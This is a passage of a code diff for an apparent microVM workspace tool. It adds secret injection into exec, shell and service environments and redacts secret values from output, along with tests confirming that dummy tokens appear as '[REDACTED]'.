shlex +import shutil import signal import struct import subprocess @@ -29,6 +30,27 @@ _LOCAL_SHELLS: dict[str, "LocalShellSession"] = {} _LOCAL_SHELLS_LOCK = threading.Lock() +def _shell_argv(*, interactive: bool) -> list[str]: + shell_program = shutil.which("bash") or "/bin/sh" + argv = [shell_program] + if shell_program.endswith("bash"): + argv.extend(["--noprofile", "--norc"]) + if interactive: + argv.append("-i") + return argv + + +def _redact_text(text: str, redact_values: list[str]) -> str: + redacted = text + for secret_value in sorted( + {item for item in redact_values if item != ""}, + key=len, + reverse=True, + ): + redacted = redacted.replace(secret_value, "[REDACTED]") + return redacted + + def _set_pty_size(fd: int, rows: int, cols: int) -> None: winsize = struct.pack("HHHH", rows, cols, 0, 0) fcntl.ioctl(fd, termios.TIOCSWINSZ, winsize) @@ -45,6 +67,8 @@ class LocalShellSession: display_cwd: str, cols: int, rows: int, + env_overrides: dict[str, str] | None = None, + redact_values: list[str] | None = None, ) -> None: self.shell_id = shell_id self.cwd = display_cwd @@ -63,6 +87,7 @@ class LocalShellSession: self._reader: threading.Thread | None = None self._waiter: threading.Thread | None = None self._decoder = codecs.getincrementaldecoder("utf-8")("replace") + self._redact_values = list(redact_values or []) env = os.environ.copy() env.update( { @@ -71,13 +96,15 @@ class LocalShellSession: "PROMPT_COMMAND": "", } ) + if env_overrides is not None: + env.update(env_overrides) process: subprocess.Popen[bytes] try: master_fd, slave_fd = os.openpty() except OSError: process = subprocess.Popen( # noqa: S603 - ["/bin/bash", "--noprofile", "--norc"], + _shell_argv(interactive=False), stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, @@ -93,7 +120,7 @@ class LocalShellSession: try: _set_pty_size(slave_fd, rows, cols) process = subprocess.Popen( # noqa: S603 - ["/bin/bash", "--noprofile", "--norc", "-i"], + _shell_argv(interactive=True), stdin=slave_fd, stdout=slave_fd, stderr=slave_fd, @@ -133,8 +160,9 @@ class LocalShellSession: def read(self, *, cursor: int, max_chars: int) -> dict[str, object]: with self._lock: - clamped_cursor = min(max(cursor, 0), len(self._output)) - output = self._output[clamped_cursor : clamped_cursor + max_chars] + redacted_output = _redact_text(self._output, self._redact_values) + clamped_cursor = min(max(cursor, 0), len(redacted_output)) + output = redacted_output[clamped_cursor : clamped_cursor + max_chars] next_cursor = clamped_cursor + len(output) payload = self.summary() payload.update( @@ -142,7 +170,7 @@ class LocalShellSession: "cursor": clamped_cursor, "next_cursor": next_cursor, "output": output, - "truncated": next_cursor < len(self._output), + "truncated": next_cursor < len(redacted_output), } ) return payload @@ -287,6 +315,8 @@ def create_local_shell( display_cwd: str, cols: int, rows: int, + env_overrides: dict[str, str] | None = None, + redact_values: list[str] | None = None, ) -> LocalShellSession: session_key = f"{workspace_id}:{shell_id}" with _LOCAL_SHELLS_LOCK: @@ -298,6 +328,8 @@ def create_local_shell( display_cwd=display_cwd, cols=cols, rows=rows, + env_overrides=env_overrides, + redact_values=redact_values, ) _LOCAL_SHELLS[session_key] = session return session diff --git a/tests/test_api.py b/tests/test_api.py index db3dbc5..1990d79 100644 --- a/tests/test_api.py +++ b/tests/test_api.py @@ -1,6 +1,7 @@ from __future__ import annotations import asyncio +import time from pathlib import Path from typing import Any, cast @@ -134,40 +135,71 @@ def test_pyro_workspace_methods_delegate_to_manager(tmp_path: Path) -> None: source_dir = tmp_path / "seed" source_dir.mkdir() (source_dir / "note.txt").write_text("ok\n", encoding="utf-8") + secret_file = tmp_path / "token.txt" + secret_file.write_text("from-file\n", encoding="utf-8") created = pyro.create_workspace( environment="debian:12-base", allow_host_compat=True, seed_path=source_dir, + secrets=[ + {"name": "API_TOKEN", "value": "expected"}, + {"name": "FILE_TOKEN", "file_path": str(secret_file)}, + ], ) workspace_id = str(created["workspace_id"]) updated_dir = tmp_path / "updated" updated_dir.mkdir() (updated_dir / "more.txt").write_text("more\n", encoding="utf-8") synced = pyro.push_workspace_sync(workspace_id, updated_dir, dest="subdir") - executed = pyro.exec_workspace(workspace_id, command="cat note.txt") + executed = pyro.exec_workspace( + workspace_id, + command='sh -lc \'printf "%s\\n" "$API_TOKEN"\'', + secret_env={"API_TOKEN": "API_TOKEN"}, + ) diff_payload = pyro.diff_workspace(workspace_id) snapshot = pyro.create_snapshot(workspace_id, "checkpoint") snapshots = pyro.list_snapshots(workspace_id) export_path = tmp_path / "exported-note.txt" exported = pyro.export_workspace(workspace_id, "note.txt", output_path=export_path) + shell = pyro.open_shell( + workspace_id, + secret_env={"API_TOKEN": "API_TOKEN"}, + ) + shell_id = str(shell["shell_id"]) + pyro.write_shell(workspace_id, shell_id, input='printf "%s\\n" "$API_TOKEN"') + shell_output: dict[str, Any] = {} + deadline = time.time() + 5 + while time.time() < deadline: + shell_output = pyro.read_shell(workspace_id, shell_id, cursor=0, max_chars=65536) + if "[REDACTED]" in str(shell_output.get("output", "")): + break + time.sleep(0.05) + shell_closed = pyro.close_shell(workspace_id, shell_id) service = pyro.start_service( workspace_id, "app", - command="sh -lc 'touch .ready; while true; do sleep 60; done'", + command=( + 'sh -lc \'trap "exit 0" TERM; printf "%s\\n" "$API_TOKEN" >&2; ' + 'touch .ready; while true; do sleep 60; done\'' + ), readiness={"type": "file", "path": ".ready"}, + secret_env={"API_TOKEN": "API_TOKEN"}, ) services = pyro.list_services(workspace_id) service_status = pyro.status_service(workspace_id, "app") service_logs = pyro.logs_service(workspace_id, "app", all=True) - service_stopped = pyro.stop_service(workspace_id, "app") reset = pyro.reset_workspace(workspace_id, snapshot="checkpoint") deleted_snapshot = pyro.delete_snapshot(workspace_id, "checkpoint") status = pyro.status_workspace(workspace_id) logs = pyro.logs_workspace(workspace_id) deleted = pyro.delete_workspace(workspace_id) - assert executed["stdout"] == "ok\n" + assert created["secrets"] == [ + {"name": "API_TOKEN", "source_kind": "literal"}, + {"name": "FILE_TOKEN", "source_kind": "file"}, + ] + assert executed["stdout"] == "[REDACTED]\n" assert created["workspace_seed"]["mode"] == "directory" assert synced["workspace_sync"]["destination"] == "/workspace/subdir" assert diff_payload["changed"] is True @@ -175,12 +207,15 @@ def test_pyro_workspace_methods_delegate_to_manager(tmp_path: Path) -> None: assert snapshots["count"] == 2 assert exported["output_path"] == str(export_path) assert export_path.read_text(encoding="utf-8") == "ok\n" + assert shell_output["output"].count("[REDACTED]") >= 1 + assert shell_closed["closed"] is True assert service["state"] == "running" assert services["count"] == 1 assert service_status["state"] == "running" + assert service_logs["stderr"].count("[REDACTED]") >= 1 assert service_logs["tail_lines"] is None - assert service_stopped["state"] == "stopped" assert reset["workspace_reset"]["snapshot_name"] == "checkpoint" + assert reset["secrets"] == created["secrets"] assert deleted_snapshot["deleted"] is True assert status["command_count"] == 0 assert status["service_count"] == 0 diff --git a/tests/test_cli.py b/tests/test_cli.py index f487007..f123642 100644 --- a/tests/test_cli.py +++ b/tests/test_cli.py @@ -3,6 +3,7 @@ from __future__ import annotations import argparse import json import sys +from pathlib import Path from typing import Any, cast import pytest @@ -75,12 +76,15 @@ def test_cli_subcommand_help_includes_examples_and_guidance() -> None: "create", ).format_help() assert "--seed-path" in workspace_create_help + assert "--secret" in workspace_create_help + assert "--secret-file" in workspace_create_help assert "seed into `/workspace`" in workspace_create_help workspace_exec_help = _subparser_choice( _subparser_choice(parser, "workspace"), "exec", ).format_help() + assert "--secret-env" in workspace_exec_help assert "persistent `/workspace`" in workspace_exec_help assert "pyro workspace exec WORKSPACE_ID -- cat note.txt" in workspace_exec_help @@ -158,6 +162,7 @@ def test_cli_subcommand_help_includes_examples_and_guidance() -> None: assert "--ready-tcp" in workspace_service_start_help assert "--ready-http" in workspace_service_start_help assert "--ready-command" in workspace_service_start_help + assert "--secret-env" in workspace_service_start_help workspace_service_logs_help = _subparser_choice( _subparser_choice(_subparser_choice(parser, "workspace"), "service"), "logs" @@ -171,6 +176,7 @@ def test_cli_subcommand_help_includes_examples_and_guidance() -> None: assert "--cwd" in workspace_shell_open_help assert "--cols" in workspace_shell_open_help assert "--rows" in workspace_shell_open_help + assert "--secret-env" in workspace_shell_open_help workspace_shell_read_help = _subparser_choice( _subparser_choice(_subparser_choice(parser, "workspace"), "shell"), "read" @@ -550,10 +556,12 @@ def test_cli_workspace_exec_prints_human_output( *, command: str, timeout_seconds: int, + secret_env: dict[str, str] | None = None, ) -> dict[str, Any]: assert workspace_id == "workspace-123" assert command == "cat note.txt" assert timeout_seconds == 30 + assert secret_env is None return { "workspace_id": workspace_id, "sequence": 2, @@ -572,6 +580,7 @@ def test_cli_workspace_exec_prints_human_output( workspace_command="exec", workspace_id="workspace-123", timeout_seconds=30, + secret_env=[], json=False, command_args=["--", "cat", "note.txt"], ) @@ -1322,11 +1331,17 @@ def test_cli_workspace_exec_prints_json_and_exits_nonzero( ) -> None: class StubPyro: def exec_workspace( - self, workspace_id: str, *, command: str, timeout_seconds: int + self, + workspace_id: str, + *, + command: str, + timeout_seconds: int, + secret_env: dict[str, str] | None = None, ) -> dict[str, Any]: assert workspace_id == "workspace-123" assert command == "false" assert timeout_seconds == 30 + assert secret_env is None return { "workspace_id": workspace_id, "sequence": 1, @@ -1345,6 +1360,7 @@ def test_cli_workspace_exec_prints_json_and_exits_nonzero( workspace_command="exec", workspace_id="workspace-123", timeout_seconds=30, + secret_env=[], json=True, command_args=["--", "false"], ) @@ -1363,9 +1379,15 @@ def test_cli_workspace_exec_prints_human_error( ) -> None: class StubPyro: def exec_workspace( - self, workspace_id: str, *, command: str, timeout_seconds: int + self, + workspace_id: str, + *, + command: str, + timeout_seconds: int, + secret_env: dict[str, str] | None = None, ) -> dict[str, Any]: del workspace_id, command, timeout_seconds + assert secret_env is None raise RuntimeError("exec boom") class ExecParser: @@ -1375,6 +1397,7 @@ def test_cli_workspace_exec_prints_human_error( workspace_command="exec", workspace_id="workspace-123", timeout_seconds=30, + secret_env=[], json=False, command_args=["--", "cat", "note.txt"], ) @@ -1538,11 +1561,13 @@ def test_cli_workspace_shell_open_and_read_human( cwd: str, cols: int, rows: int, + secret_env: dict[str, str] | None = None, ) -> dict[str, Any]: assert workspace_id == "workspace-123" assert cwd == "/workspace" assert cols == 120 assert rows == 30 + assert secret_env is None return { "workspace_id": workspace_id, "shell_id": "shell-123", @@ -1595,6 +1620,7 @@ def test_cli_workspace_shell_open_and_read_human( cwd="/workspace", cols=120, rows=30, + secret_env=[], json=False, ) @@ -1758,7 +1784,9 @@ def test_cli_workspace_shell_open_and_read_json( cwd: str, cols: int, rows: int, + secret_env: dict[str, str] | None = None, ) -> dict[str, Any]: + assert secret_env is None return { "workspace_id": workspace_id, "shell_id": "shell-123", @@ -1807,6 +1835,7 @@ def test_cli_workspace_shell_open_and_read_json( cwd="/workspace", cols=120, rows=30, + secret_env=[], json=True, ) @@ -2798,3 +2827,210 @@ def test_cli_demo_ollama_verbose_and_error_paths( with pytest.raises(SystemExit, match="1"): cli.main() assert "[error] tool loop failed" in capsys.readouterr().out + + +def test_cli_workspace_create_passes_secrets( + monkeypatch: pytest.MonkeyPatch, + capsys: pytest.CaptureFixture[str], + tmp_path: Path, +) -> None: + secret_file = tmp_path / "token.txt" + secret_file.write_text("from-file\n", encoding="utf-8") + + class StubPyro: + def create_workspace(self, **kwargs: Any) -> dict[str, Any]: + assert kwargs["environment"] == "debian:12" + assert kwargs["seed_path"] == "./repo" + assert kwargs["secrets"] == [ + {"name": "API_TOKEN", "value": "expected"}, + {"name": "FILE_TOKEN", "file_path": str(secret_file)}, + ] + return {"workspace_id": "ws-123"} + + class StubParser: + def parse_args(self) -> argparse.Namespace: + return argparse.Namespace( + command="workspace", + workspace_command="create", + environment="debian:12", + vcpu_count=1, + mem_mib=1024, + ttl_seconds=600, + network=False, + allow_host_compat=False, + seed_path="./repo", + secret=["API_TOKEN=expected"], + secret_file=[f"FILE_TOKEN={secret_file}"], + json=True, + ) + + monkeypatch.setattr(cli, "_build_parser", lambda: StubParser()) + monkeypatch.setattr(cli, "Pyro", StubPyro) + cli.main() + output = json.loads(capsys.readouterr().out) + assert output["workspace_id"] == "ws-123" + + +def test_cli_workspace_exec_passes_secret_env( + monkeypatch: pytest.MonkeyPatch, + capsys: pytest.CaptureFixture[str], +) -> None: + class StubPyro: + def exec_workspace(self, workspace_id: str, **kwargs: Any) -> dict[str, Any]: + assert workspace_id == "ws-123" + assert kwargs["command"] == "sh -lc 'test \"$API_TOKEN\" = \"expected\"'" + assert kwargs["secret_env"] == {"API_TOKEN": "API_TOKEN", "TOKEN": "PIP_TOKEN"} + return {"exit_code": 0, "stdout": "", "stderr": ""} + + class StubParser: + def parse_args(self) -> argparse.Namespace: + return argparse.Namespace( + command="workspace", + workspace_command="exec", + workspace_id="ws-123", + timeout_seconds=30, + secret_env=["API_TOKEN", "TOKEN=PIP_TOKEN"], + json=True, + command_args=["--", "sh", "-lc", 'test "$API_TOKEN" = "expected"'], + ) + + monkeypatch.setattr(cli, "_build_parser", lambda: StubParser()) + monkeypatch.setattr(cli, "Pyro", StubPyro) + cli.main() + output = json.loads(capsys.readouterr().out) + assert output["exit_code"] == 0 + + +def test_cli_workspace_shell_open_passes_secret_env( + monkeypatch: pytest.MonkeyPatch, + capsys: pytest.CaptureFixture[str], +) -> None: + class StubPyro: + def open_shell(self, workspace_id: str, **kwargs: Any) -> dict[str, Any]: + assert workspace_id == "ws-123" + assert kwargs["secret_env"] == {"TOKEN": "TOKEN", "API": "API_TOKEN"} + return {"workspace_id": workspace_id, "shell_id": "shell-1", "state": "running"} + + class StubParser: + def parse_args(self) -> argparse.Namespace: + return argparse.Namespace( + command="workspace", + workspace_command="shell", + workspace_shell_command="open", + workspace_id="ws-123", + cwd="/workspace", + cols=120, + rows=30, + secret_env=["TOKEN", "API=API_TOKEN"], + json=True, + ) + + monkeypatch.setattr(cli, "_build_parser", lambda: StubParser()) + monkeypatch.setattr(cli, "Pyro", StubPyro) + cli.main() + output = json.loads(capsys.readouterr().out) + assert output["shell_id"] == "shell-1" + + +def test_cli_workspace_service_start_passes_secret_env( + monkeypatch: pytest.MonkeyPatch, + capsys: pytest.CaptureFixture[str], +) -> None: + class StubPyro: + def start_service( + self, + workspace_id: str, + service_name: str, + **kwargs: Any, + ) -> dict[str, Any]: + assert workspace_id == "ws-123" + assert service_name == "app" + assert kwargs["secret_env"] == {"TOKEN": "TOKEN", "API": "API_TOKEN"} + assert kwargs["readiness"] == {"type": "file", "path": ".ready"} + assert kwargs["command"] == "sh -lc 'touch .ready && while true; do sleep 60; done'" + return {"workspace_id": workspace_id, "service_name": service_name, "state": "running"} + + class StubParser: + def parse_args(self) -> argparse.Namespace: + return argparse.Namespace( + command="workspace", + workspace_command="service", + workspace_service_command="start", + workspace_id="ws-123", + service_name="app", + cwd="/workspace", + ready_file=".ready", + ready_tcp=None, + ready_http=None, + ready_command=None, + ready_timeout_seconds=30, + ready_interval_ms=500, + secret_env=["TOKEN", "API=API_TOKEN"], + json=True, + command_args=["--", "sh", "-lc", "touch .ready && while true; do sleep 60; done"], + ) + + monkeypatch.setattr(cli, "_build_parser", lambda: StubParser()) + monkeypatch.setattr(cli, "Pyro", StubPyro) + cli.main() + output = json.loads(capsys.readouterr().out) + assert output["state"] == "running" + + +def test_cli_workspace_secret_parsers_validate_syntax(tmp_path: Path) -> None: + secret_file = tmp_path / "token.txt" + secret_file.write_text("expected\n", encoding="utf-8") + + assert cli._parse_workspace_secret_option("API_TOKEN=expected") == { # noqa: SLF001 + "name": "API_TOKEN", + "value": "expected", + } + assert cli._parse_workspace_secret_file_option(f"FILE_TOKEN={secret_file}") == { # noqa: SLF001 + "name": "FILE_TOKEN", + "file_path": str(secret_file), + } + assert cli._parse_workspace_secret_env_options(["TOKEN", "API=PIP_TOKEN"]) == { # noqa: SLF001 + "TOKEN": "TOKEN", + "API": "PIP_TOKEN", + } + + with pytest.raises(ValueError, match="NAME=VALUE"): + cli._parse_workspace_secret_option("API_TOKEN") # noqa: SLF001 + with pytest.raises(ValueError, match="NAME=PATH"): + cli._parse_workspace_secret_file_option("FILE_TOKEN=") # noqa: SLF001 + with pytest.raises(ValueError, match="must name a secret"): + cli._parse_workspace_secret_env_options(["=TOKEN"]) # noqa: SLF001 + with pytest.raises(ValueError, match="must name an environment variable"): + cli._parse_workspace_secret_env_options(["TOKEN="]) # noqa: SLF001 + with pytest.raises(ValueError, match="more than once"): + cli._parse_workspace_secret_env_options(["TOKEN", "TOKEN=API_TOKEN"]) # noqa: SLF001 + + +def test_print_workspace_summary_human_includes_secret_metadata( + capsys: pytest.CaptureFixture[str], +) -> None: + cli._print_workspace_summary_human( + { + "workspace_id": "ws-123", + "environment": "debian:12", + "state": "started", + "workspace_path": "/workspace", + "workspace_seed": { + "mode": "directory", + "seed_path": "/tmp/repo", + }, + "secrets": [ + {"name": "API_TOKEN", "source_kind": "literal"}, + {"name": "FILE_TOKEN", "source_kind": "file"}, + ], + "execution_mode": "guest_vsock", + "vcpu_count": 1, + "mem_mib": 1024, + "command_count": 0, + }, + action="Workspace", + ) + output = capsys.readouterr().out + assert "Workspace ID: ws-123" in output + assert "Workspace seed: directory from /tmp/repo" in output + assert "Secrets: API_TOKEN (literal), FILE_TOKEN (file)" in output diff --git a/tests/test_public_contract.py b/tests/test_public_contract.py index 0dce0ed..6f22889 100644 --- a/tests/test_public_contract.py +++ b/tests/test_public_contract.py @@ -19,6 +19,7 @@ from pyro_mcp.contract import ( PUBLIC_CLI_RUN_FLAGS, PUBLIC_CLI_WORKSPACE_CREATE_FLAGS, PUBLIC_CLI_WORKSPACE_DIFF_FLAGS, + PUBLIC_CLI_WORKSPACE_EXEC_FLAGS, PUBLIC_CLI_WORKSPACE_EXPORT_FLAGS, PUBLIC_CLI_WORKSPACE_RESET_FLAGS, PUBLIC_CLI_WORKSPACE_SERVICE_LIST_FLAGS, @@ -94,6 +95,11 @@ def test_public_cli_help_lists_commands_and_run_flags() -> None: ).format_help() for flag in PUBLIC_CLI_WORKSPACE_CREATE_FLAGS: assert flag in workspace_create_help_text + workspace_exec_help_text = _subparser_choice( + _subparser_choice(parser, "workspace"), "exec" + ).format_help() + for flag in PUBLIC_CLI_WORKSPACE_EXEC_FLAGS: + assert flag in workspace_exec_help_text workspace_sync_help_text = _subparser_choice( _subparser_choice(parser, "workspace"), "sync", diff --git a/tests/test_runtime.py b/tests/test_runtime.py index 930ef4f..a2b9004 100644 --- a/tests/test_runtime.py +++ b/tests/test_runtime.py @@ -1,6 +1,7 @@ from __future__ import annotations import json +import shutil from pathlib import Path import pytest @@ -14,6 +15,8 @@ def test_resolve_runtime_paths_default_bundle() -> None: assert paths.jailer_bin.exists() assert paths.guest_agent_path is not None assert paths.guest_agent_path.exists() + assert paths.guest_init_path is not None + assert paths.guest_init_path.exists() assert paths.artifacts_dir.exists() assert paths.manifest.get("platform") == "linux-x86_64" @@ -51,17 +54,56 @@ def test_resolve_runtime_paths_checksum_mismatch( guest_agent_path = source.guest_agent_path if guest_agent_path is None: raise AssertionError("expected guest agent in runtime bundle") + guest_init_path = source.guest_init_path + if guest_init_path is None: + raise AssertionError("expected guest init in runtime bundle") copied_guest_dir = copied_platform / "guest" copied_guest_dir.mkdir(parents=True, exist_ok=True) (copied_guest_dir / "pyro_guest_agent.py").write_text( guest_agent_path.read_text(encoding="utf-8"), encoding="utf-8", ) + (copied_guest_dir / "pyro-init").write_text( + guest_init_path.read_text(encoding="utf-8"), + encoding="utf-8", + ) monkeypatch.setenv("PYRO_RUNTIME_BUNDLE_DIR", str(copied_bundle)) with pytest.raises(RuntimeError, match="checksum mismatch"): resolve_runtime_paths() +def test_resolve_runtime_paths_guest_init_checksum_mismatch( + monkeypatch: pytest.MonkeyPatch, tmp_path: Path +) -> None: + source = resolve_runtime_paths() + copied_bundle = tmp_path / "bundle" + shutil.copytree(source.bundle_root.parent, copied_bundle) + copied_platform = copied_bundle / "linux-x86_64" + copied_guest_init = copied_platform / "guest" / "pyro-init" + copied_guest_init.write_text("#!/bin/sh\nexit 0\n", encoding="utf-8") + monkeypatch.setenv("PYRO_RUNTIME_BUNDLE_DIR", str(copied_bundle)) + with pytest.raises(RuntimeError, match="checksum mismatch"): + resolve_runtime_paths() + + +def test_resolve_runtime_paths_guest_init_manifest_malformed( + monkeypatch: pytest.MonkeyPatch, tmp_path: Path +) -> None: + source = resolve_runtime_paths() + copied_bundle = tmp_path / "bundle" + shutil.copytree(source.bundle_root.parent, copied_bundle) + manifest_path = copied_bundle / "linux-x86_64" / "manifest.json" + manifest = json.loads(manifest_path.read_text(encoding="utf-8")) + guest = manifest.get("guest") + if not isinstance(guest, dict): + raise AssertionError("expected guest manifest section") + guest["init"] = {"path": "guest/pyro-init"} + manifest_path.write_text(json.dumps(manifest, indent=2), encoding="utf-8") + monkeypatch.setenv("PYRO_RUNTIME_BUNDLE_DIR", str(copied_bundle)) + with pytest.raises(RuntimeError, match="runtime guest init manifest entry is malformed"): + resolve_runtime_paths() + + def test_doctor_report_has_runtime_fields() -> None: report = doctor_report() assert "runtime_ok" in report @@ -72,6 +114,7 @@ def test_doctor_report_has_runtime_fields() -> None: assert isinstance(runtime, dict) assert "firecracker_bin" in runtime assert "guest_agent_path" in runtime + assert "guest_init_path" in runtime assert "component_versions" in runtime assert "environments" in runtime networking = report["networking"] diff --git a/tests/test_server.py b/tests/test_server.py index 7c1cca7..f9eac6d 100644 --- a/tests/test_server.py +++ b/tests/test_server.py @@ -191,6 +191,8 @@ def test_workspace_tools_round_trip(tmp_path: Path) -> None: source_dir = tmp_path / "seed" source_dir.mkdir() (source_dir / "note.txt").write_text("ok\n", encoding="utf-8") + secret_file = tmp_path / "token.txt" + secret_file.write_text("from-file\n", encoding="utf-8") def _extract_structured(raw_result: object) -> dict[str, Any]: if not isinstance(raw_result, tuple) or len(raw_result) != 2: @@ -209,6 +211,10 @@ def test_workspace_tools_round_trip(tmp_path: Path) -> None: "environment": "debian:12-base", "allow_host_compat": True, "seed_path": str(source_dir), + "secrets": [ + {"name": "API_TOKEN", "value": "expected"}, + {"name": "FILE_TOKEN", "file_path": str(secret_file)}, + ], }, ) ) @@ -231,7 +237,8 @@ def test_workspace_tools_round_trip(tmp_path: Path) -> None: "workspace_exec", { "workspace_id": workspace_id, - "command": "cat subdir/more.txt", + "command": 'sh -lc \'printf "%s\\n" "$API_TOKEN"\'', + "secret_env": {"API_TOKEN": "API_TOKEN"}, }, ) ) @@ -264,8 +271,12 @@ def test_workspace_tools_round_trip(tmp_path: Path) -> None: { "workspace_id": workspace_id, "service_name": "app", - "command": "sh -lc 'touch .ready; while true; do sleep 60; done'", + "command": ( + 'sh -lc \'trap "exit 0" TERM; printf "%s\\n" "$API_TOKEN" >&2; ' + 'touch .ready; while true; do sleep 60; done\'' + ), "ready_file": ".ready", + "secret_env": {"API_TOKEN": "API_TOKEN"}, }, ) ) @@ -357,8 +368,12 @@ def test_workspace_tools_round_trip(tmp_path: Path) -> None: ) = asyncio.run(_run()) assert created["state"] == "started" assert created["workspace_seed"]["mode"] == "directory" + assert created["secrets"] == [ + {"name": "API_TOKEN", "source_kind": "literal"}, + {"name": "FILE_TOKEN", "source_kind": "file"}, + ] assert synced["workspace_sync"]["destination"] == "/workspace/subdir" - assert executed["stdout"] == "more\n" + assert executed["stdout"] == "[REDACTED]\n" assert diffed["changed"] is True assert snapshot["snapshot"]["snapshot_name"] == "checkpoint" assert [entry["snapshot_name"] for entry in snapshots["snapshots"]] == [ @@ -370,9 +385,11 @@ def test_workspace_tools_round_trip(tmp_path: Path) -> None: assert service["state"] == "running" assert services["count"] == 1 assert service_status["state"] == "running" + assert service_logs["stderr"].count("[REDACTED]") >= 1 assert service_logs["tail_lines"] is None assert service_stopped["state"] == "stopped" assert reset["workspace_reset"]["snapshot_name"] == "checkpoint" + assert reset["secrets"] == created["secrets"] assert reset["command_count"] == 0 assert reset["service_count"] == 0 assert deleted_snapshot["deleted"] is True diff --git a/tests/test_vm_environments.py b/tests/test_vm_environments.py index c9ab1e6..c87606f 100644 --- a/tests/test_vm_environments.py +++ b/tests/test_vm_environments.py @@ -42,6 +42,7 @@ def _fake_runtime_paths(tmp_path: Path) -> RuntimePaths: firecracker_bin = bundle_root / "bin" / "firecracker" jailer_bin = bundle_root / "bin" / "jailer" guest_agent_path = bundle_root / "guest" / "pyro_guest_agent.py" + guest_init_path = bundle_root / "guest" / "pyro-init" artifacts_dir = bundle_root / "profiles" notice_path = bundle_parent / "NOTICE" @@ -54,6 +55,7 @@ def _fake_runtime_paths(tmp_path: Path) -> RuntimePaths: firecracker_bin.write_text("firecracker\n", encoding="utf-8") jailer_bin.write_text("jailer\n", encoding="utf-8") guest_agent_path.write_text("print('guest')\n", encoding="utf-8") + guest_init_path.write_text("#!/bin/sh\n", encoding="utf-8") notice_path.write_text("notice\n", encoding="utf-8") return RuntimePaths( @@ -62,6 +64,7 @@ def _fake_runtime_paths(tmp_path: Path) -> RuntimePaths: firecracker_bin=firecracker_bin, jailer_bin=jailer_bin, guest_agent_path=guest_agent_path, + guest_init_path=guest_init_path, artifacts_dir=artifacts_dir, notice_path=notice_path, manifest={"platform": "linux-x86_64"}, diff --git a/tests/test_vm_guest.py b/tests/test_vm_guest.py index 8ce007c..2728cc8 100644 --- a/tests/test_vm_guest.py +++ b/tests/test_vm_guest.py @@ -57,12 +57,13 @@ def test_vsock_exec_client_round_trip(monkeypatch: pytest.MonkeyPatch) -> None: return stub client = VsockExecClient(socket_factory=socket_factory) - response = client.exec(1234, 5005, "echo ok", 30) + response = client.exec(1234, 5005, "echo ok", 30, env={"TOKEN": "expected"}) assert response.exit_code == 0 assert response.stdout == "ok\n" assert stub.connected == (1234, 5005) assert b'"command": "echo ok"' in stub.sent + assert b'"env": {"TOKEN": "expected"}' in stub.sent assert stub.closed is True @@ -105,6 +106,39 @@ def test_vsock_exec_client_upload_archive_round_trip( assert stub.closed is True +def test_vsock_exec_client_install_secrets_round_trip( + monkeypatch: pytest.MonkeyPatch, tmp_path: Path +) -> None: + monkeypatch.setattr(socket, "AF_VSOCK", 40, raising=False) + archive_path = tmp_path / "secrets.tar" + with tarfile.open(archive_path, "w") as archive: + payload = b"expected\n" + info = tarfile.TarInfo(name="API_TOKEN") + info.size = len(payload) + archive.addfile(info, io.BytesIO(payload)) + stub = StubSocket( + b'{"destination":"/run/pyro-secrets","entry_count":1,"bytes_written":9}' + ) + + def socket_factory(family: int, sock_type: int) -> StubSocket: + assert family == socket.AF_VSOCK + assert sock_type == socket.SOCK_STREAM + return stub + + client = VsockExecClient(socket_factory=socket_factory) + response = client.install_secrets(1234, 5005, archive_path, timeout_seconds=60) + + request_payload, archive_payload = stub.sent.split(b"\n", 1) + request = json.loads(request_payload.decode("utf-8")) + assert request["action"] == "install_secrets" + assert int(request["archive_size"]) == archive_path.stat().st_size + assert archive_payload == archive_path.read_bytes() + assert response.destination == "/run/pyro-secrets" + assert response.entry_count == 1 + assert response.bytes_written == 9 + assert stub.closed is True + + def test_vsock_exec_client_export_archive_round_trip( monkeypatch: pytest.MonkeyPatch, tmp_path: Path ) -> None: @@ -241,6 +275,8 @@ def test_vsock_exec_client_shell_round_trip(monkeypatch: pytest.MonkeyPatch) -> cwd="/workspace", cols=120, rows=30, + env={"TOKEN": "expected"}, + redact_values=["expected"], ) assert opened.shell_id == "shell-1" read = client.read_shell(1234, 5005, shell_id="shell-1", cursor=0, max_chars=1024) @@ -260,6 +296,8 @@ def test_vsock_exec_client_shell_round_trip(monkeypatch: pytest.MonkeyPatch) -> open_request = json.loads(stubs[0].sent.decode("utf-8").strip()) assert open_request["action"] == "open_shell" assert open_request["shell_id"] == "shell-1" + assert open_request["env"] == {"TOKEN": "expected"} + assert open_request["redact_values"] == ["expected"] def test_vsock_exec_client_service_round_trip(monkeypatch: pytest.MonkeyPatch) -> None: @@ -348,6 +386,7 @@ def test_vsock_exec_client_service_round_trip(monkeypatch: pytest.MonkeyPatch) - readiness={"type": "file", "path": "/workspace/.ready"}, ready_timeout_seconds=30, ready_interval_ms=500, + env={"TOKEN": "expected"}, ) assert started["service_name"] == "app" status = client.status_service(1234, 5005, service_name="app") @@ -359,6 +398,7 @@ def test_vsock_exec_client_service_round_trip(monkeypatch: pytest.MonkeyPatch) - start_request = json.loads(stubs[0].sent.decode("utf-8").strip()) assert start_request["action"] == "start_service" assert start_request["service_name"] == "app" + assert start_request["env"] == {"TOKEN": "expected"} def test_vsock_exec_client_raises_agent_error(monkeypatch: pytest.MonkeyPatch) -> None: diff --git a/tests/test_vm_manager.py b/tests/test_vm_manager.py index 146e6bd..44c1fc0 100644 --- a/tests/test_vm_manager.py +++ b/tests/test_vm_manager.py @@ -8,7 +8,7 @@ import subprocess import tarfile import time from pathlib import Path -from typing import Any +from typing import Any, cast import pytest @@ -1713,3 +1713,212 @@ def test_workspace_service_probe_and_refresh_helpers( ) assert stopped.state == "stopped" assert stopped.stop_reason == "sigterm" + + +def test_workspace_secrets_redact_exec_shell_service_and_survive_reset(tmp_path: Path) -> None: + manager = VmManager( + backend_name="mock", + base_dir=tmp_path / "vms", + network_manager=TapNetworkManager(enabled=False), + ) + secret_file = tmp_path / "token.txt" + secret_file.write_text("from-file\n", encoding="utf-8") + + created = manager.create_workspace( + environment="debian:12-base", + allow_host_compat=True, + secrets=[ + {"name": "API_TOKEN", "value": "expected"}, + {"name": "FILE_TOKEN", "file_path": str(secret_file)}, + ], + ) + workspace_id = str(created["workspace_id"]) + assert created["secrets"] == [ + {"name": "API_TOKEN", "source_kind": "literal"}, + {"name": "FILE_TOKEN", "source_kind": "file"}, + ] + + no_secret = manager.exec_workspace( + workspace_id, + command='sh -lc \'printf "%s" "${API_TOKEN:-missing}"\'', + timeout_seconds=30, + ) + assert no_secret["stdout"] == "missing" + + executed = 